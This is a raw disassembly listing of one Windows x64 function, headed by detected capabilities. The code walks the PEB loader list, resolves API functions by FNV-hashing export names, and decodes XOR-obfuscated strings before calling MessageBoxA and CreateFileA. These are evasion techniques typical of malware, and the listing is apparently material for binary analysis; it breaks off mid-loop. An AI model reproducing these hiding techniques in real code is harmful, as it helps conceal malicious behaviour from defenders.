Function at 0x14006e470
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1c0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
mov rax, qword [0x1401610c0]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov qword [rsp + 0x48], rdx
mov r15, r8
mov rdx, rcx
mov qword [rbp - 0x70], rcx
lea rcx, [rsp + 0x70]
call fcn.140073420
mov rcx, rax
call fcn.14006e0b0
mov r14d, dword [reloc.WS2_32.dll_accept]
xor esi, esi
movdqa xmm8, xmmword [0x140151700]
movdqa xmm12, xmmword [0x140151710]
movdqa xmm9, xmmword [str.1111]
movdqa xmm7, xmmword [0x140151690]
movdqa xmm6, xmmword [0x140151990]
movdqa xmm10, xmmword [0x1401516b0]
movdqa xmm11, xmmword [0x1401516a0]
test al, al
jne 0x14006e7d7
cmp byte [0x14014cf53], sil
movsd xmm0, qword [0x14014cf48]
mov eax, dword [0x14014cf50]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
je 0x14006e6ca
mov r8d, esi
cmp r14d, 2
jl 0x14006e68f
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [0x14014cf48]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x64]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rsp + 0x64], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
xorps xmm1, xmm0
movd dword [rsp + 0x68], xmm1
jmp 0x14006e6ca
lea r9, [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14006e6a0
mov eax, dword [str.vLFVKJ:]
lea r8, [rsp + 0x60]
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
movzx eax, word [0x14014cecc]
xor r9d, r9d
xor byte [rsp + 0x41], 0x35
xor ecx, ecx
xor byte [rsp + 0x42], 0x36
xor byte [rsp + 0x43], 0x37
mov word [rsp + 0x44], ax
movzx eax, byte [0x14014cece]
xor byte [rsp + 0x44], 0x38
xor al, 0x3a
xor byte [rsp + 0x45], 0x39
mov byte [rsp + 0x46], al
mov byte [rsp + 0x40], 0x42
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e7b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e7b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x8c48fcdd
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e7b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14006e790
cmp r8d, 0xf3de34fd
je 0x14006e7bc
test r9d, r9d
jne 0x14006e770
mov rax, qword [rax]
jmp 0x14006e740
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
movsd xmm0, qword [0x14014cf20]
lea r12, [0x14019d790]
movzx eax, word [0x14014cf28]
movabs r13, 0x7fffffffffffffff
movsd qword [rbp - 0x68], xmm0
mov word [rbp - 0x60], ax
movzx eax, word [rbp - 0x60]
shr ax, 8
test al, al
je 0x14006e834
xor byte [rbp - 0x68], 0x34
xor byte [rbp - 0x67], 0x35
xor byte [rbp - 0x66], 0x36
xor byte [rbp - 0x65], 0x37
xor byte [rbp - 0x64], 0x38
xor byte [rbp - 0x63], 0x39
xor byte [rbp - 0x62], 0x3a
xor byte [rbp - 0x61], 0x3b
xor byte [rbp - 0x60], 0x3c
xor byte [rbp - 0x5f], 0x3d
mov qword [rsp + 0x30], rsi
lea rcx, [rbp - 0x68]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140161150], rax
cmp byte [rbp - 0x5f], sil
jne 0x14006e896
xor byte [rbp - 0x68], 0x34
xor byte [rbp - 0x67], 0x35
xor byte [rbp - 0x66], 0x36
xor byte [rbp - 0x65], 0x37
xor byte [rbp - 0x64], 0x38
xor byte [rbp - 0x63], 0x39
xor byte [rbp - 0x62], 0x3a
xor byte [rbp - 0x61], 0x3b
xor byte [rbp - 0x60], 0x3c
mov byte [rbp - 0x5f], 0x3d
cmp rax, 0xffffffffffffffff
jne 0x14006f6fc
lea rcx, [r12 - 1]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x14006e8a5
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r15 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14006e8c0
xorps xmm0, xmm0
mov qword [rbp - 0x80], rsi
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], rsi
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [r12 + rbx], sil
jne 0x14006e8e7
cmp rbx, r13
ja 0x140070c24
cmp rbx, 0xf
ja 0x14006e925
mov r8, rbx
mov qword [rbp - 0x80], rbx
mov rdx, r12
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], sil
jmp 0x14006e9c2
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
jbe 0x14006e944
movabs rax, 0x8000000000000000
mov rdi, r13
add rax, 0x27
jmp 0x14006e975
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14006e95f
mov r14, rsi
jmp 0x14006e99c
cmp rcx, 0x1000
jb 0x14006e994
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140070c2a
mov rcx, rax
call fcn.140120bd0
test rax, rax
je 0x14006f456
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14006e99c
call fcn.140120bd0
mov r14, rax
mov r8, rbx
mov qword [rsp + 0x70], r14
mov rdx, r12
mov qword [rbp - 0x80], rbx
mov rcx, r14
mov qword [rbp - 0x78], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], sil
mov r14d, dword [reloc.WS2_32.dll_accept]
lea rcx, [rsp + 0x70]
call fcn.14006e0b0
test al, al
je 0x14006f45d
cmp byte [str.OWYE7], sil
movups xmm0, xmmword [0x14014cf70]
mov eax, dword [0x14014cf88]
mov dword [rbp + 0x18], eax
mov eax, dword [0x14014cfc0]
movups xmmword [rbp], xmm0
mov dword [rbp - 0x28], eax
movsd xmm0, qword [0x14014cf80]
movzx eax, word [0x14014cfc4]
movsd qword [rbp + 0x10], xmm0
movups xmm0, xmmword [0x14014cfa8]
mov word [rbp - 0x24], ax
mov eax, dword [0x14014cfd0]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x50], eax
movsd xmm0, qword [0x14014cfb8]
movzx eax, word [0x14014cfd4]
movsd qword [rbp - 0x30], xmm0
movsd xmm0, qword [str.CXWfHYbVP_B]
mov word [rbp - 0x4c], ax
movzx eax, byte [0x14014cfd6]
movsd qword [rbp - 0x58], xmm0
mov byte [rbp - 0x4a], al
je 0x14006ebb1
mov r8d, esi
cmp r14d, 2
jl 0x14006eb6d
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006ea80
cmp r8d, 0x1c
jge 0x14006ebb1
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14006eb80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006ec47
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006ec47
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x7acdf96b
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006ec42
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14006ec20
cmp r8d, 0xe0bb4312
je 0x14006ec4c
test r9d, r9d
jne 0x14006ec00
mov rax, qword [rax]
jmp 0x14006ebd0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp]
add rax, r10
call rax
cmp byte [rbp + 0x1b], sil
jne 0x14006edc1
mov r8d, esi
cmp r14d, 2
jl 0x14006ed7d
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006ec90
cmp r8d, 0x1c
jge 0x14006edc1
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14006ed90
cmp byte [rbp - 0x23], sil
je 0x14006ef21
mov r8d, esi
cmp r14d, 2
jl 0x14006eedd
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006edf0
cmp r8d, 0x1e
jge 0x14006ef21
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x14006eef0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006efb7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006efb7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x18c96b67
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14006efb2
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14006ef90
cmp r8d, 0x73eede6
je 0x14006efbc
test r9d, r9d
jne 0x14006ef70
mov rax, qword [rax]
jmp 0x14006ef40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x40]
add rax, r10
call rax
cmp byte [rbp - 0x23], sil
jne 0x14006f131
mov r8d, esi
cmp r14d, 2
jl 0x14006f0ed
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006f000
cmp r8d, 0x1e
jge 0x14006f131
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x14006f100
cmp byte [rbp - 0x4a], sil
je 0x14006f2c1
mov r8d, esi
cmp r14d, 2
jl 0x14006f27a
movd eax, xmm12
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm6
mov r8d, listen
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x58]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm11
xorps xmm2, xmm1
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movdqa xmm1, xmm11
movd dword [rbp - 0x58], xmm2
movdqa xmm2, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp - 0x54], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x50], xmm2
mov eax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006f290
mov rdx, r12
lea rcx, [rbp - 0x58]
call fcn.14006e220
cmp byte [rbp - 0x4a], sil
jne 0x14006e800
mov r8d, esi
cmp r14d, 2
jl 0x14006f416
movd eax, xmm12
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm6
mov r8d, listen
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x58]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm11
xorps xmm2, xmm1
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movdqa xmm1, xmm11
movd dword [rbp - 0x58], xmm2
movdqa xmm2, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp - 0x54], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x50], xmm2
mov eax, r8d
lea r9, [rbp - 0x58]
add r9, rax
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006f420
jmp 0x14006e800
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp byte [0x14014ceeb], sil
movsd xmm0, qword [0x14014cee0]
mov ecx, dword [0x14014cee8]
movsd qword [rsp + 0x48], xmm0
mov dword [rsp + 0x50], ecx
je 0x14006f5f7
cmp r14d, 2
jl 0x14006f5be
movdqa xmm1, xmm7
movd eax, xmm12
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm7, xmm0
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [0x14014cee0]
xorps xmm7, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x48], xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x4c]
pmulld xmm0, xmm9
psubd xmm11, xmm0
movd xmm0, eax
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
paddb xmm11, xmm0
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
xorps xmm11, xmm1
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x4c], xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm9
psubd xmm10, xmm0
movd xmm0, eax
andps xmm10, xmm8
packuswb xmm10, xmm10
packuswb xmm10, xmm10
paddb xmm10, xmm0
xorps xmm10, xmm1
movd dword [rsp + 0x50], xmm10
jmp 0x14006f5f7
lea r8, [rsp + 0x48]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
mul esi
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
inc esi
sub al, cl
add al, 0x34
xor byte [r8 - 1], al
cmp esi, 0xc
jl 0x14006f5d0
mov eax, dword [str.vLFVKJ:]
lea r8, [rsp + 0x48]
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
movzx eax, word [0x14014cecc]
xor r9d, r9d
xor byte [rsp + 0x41], 0x35
xor ecx, ecx
xor byte [rsp + 0x42], 0x36
xor byte [rsp + 0x43], 0x37
mov word [rsp + 0x44], ax
movzx eax, byte [0x14014cece]
xor byte [rsp + 0x44], 0x38
xor al, 0x3a
xor byte [rsp + 0x45], 0x39
mov byte [rsp + 0x46], al
mov byte [rsp + 0x40], 0x42
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f6d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f6d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xe9e22fe0
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f6d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
